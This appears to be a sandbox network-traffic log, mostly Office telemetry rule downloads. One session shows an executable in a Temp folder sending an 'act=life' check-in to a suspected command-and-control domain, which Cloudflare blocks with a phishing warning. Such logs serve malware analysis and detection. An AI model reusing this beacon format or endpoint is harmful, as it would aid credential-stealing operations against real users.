2024-11-07 05:01:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:14 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 4af2a91d-f01e-00aa-46e0-2e8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050114Z-17df447cdb5bz95mhC1DFWnk7w00000003p000000000eqt1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:15 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:14 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:15 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:14 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: d5f81cfa-001e-0017-1dd2-2c0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050114Z-16547b76f7f8dwtrhC1DFWd1zn00000007rg00000000e96x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:15 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:14 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:15 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:15 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 62c29a92-201e-003c-094f-2e30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050114Z-15869dbbcc6zbpm7hC1DFW75xg000000011000000000122e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:15 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:14 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:15 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:15 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 67318102-f01e-005d-7706-2f13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050115Z-17df447cdb54qlp6hC1DFWqcfc00000003yg00000000041u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:15 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:15 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:15 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:15 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 7b700101-601e-0050-4e5f-2e2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050115Z-15869dbbcc6m5ms4hC1DFWx02800000008m000000000end5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:15 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:15 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:15 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:15 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 4e98fbea-b01e-0002-08d2-2c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050115Z-16547b76f7fknvdnhC1DFWxnys00000007tg000000001qu0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:15 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:15 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:15 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:15 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 081c3a8e-a01e-0053-58d2-2c8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050115Z-16547b76f7fkj7j4hC1DFW0a9g00000007h000000000q3p4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:15 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:15 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:15 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:15 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 89e70e23-001e-0014-478e-2d5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050115Z-15869dbbcc6gt87nhC1DFWh9un000000082g00000000du6t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:15 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:15 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:16 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:16 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 45f39ff0-c01e-00a2-2d5f-2e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050116Z-15869dbbcc6rzfwxhC1DFWrkb000000002qg00000000mex7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:16 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49828	104.21.5.155	443	3288	C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:16 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: founpiuer.store
2024-11-07 05:01:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-07 05:01:16 UTC	554	IN	HTTP/1.1 403 Forbidden Date: Thu, 07 Nov 2024 05:01:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HZj9PzzOYoML%2BRNoZ4AITnYqDnycYxgF3lxBloU%2Fh84w0sQbFXAJ%2Fzk2eMXn7fFL3LXy3WSykAnOaqyxpplfgXzYSBV0RqkeCgQDdf43mLC1dGDinsQXVxnclY2eKBIBfs4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8deac3af79c04740-DFW
2024-11-07 05:01:16 UTC	815	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-11-07 05:01:16 UTC	1369	IN	Data Raw: 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 Data Ascii: es/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('c
2024-11-07 05:01:16 UTC	1369	IN	Data Raw: 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e Data Ascii: gement/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <in
2024-11-07 05:01:16 UTC	891	IN	Data Raw: 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d Data Ascii: > <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id=
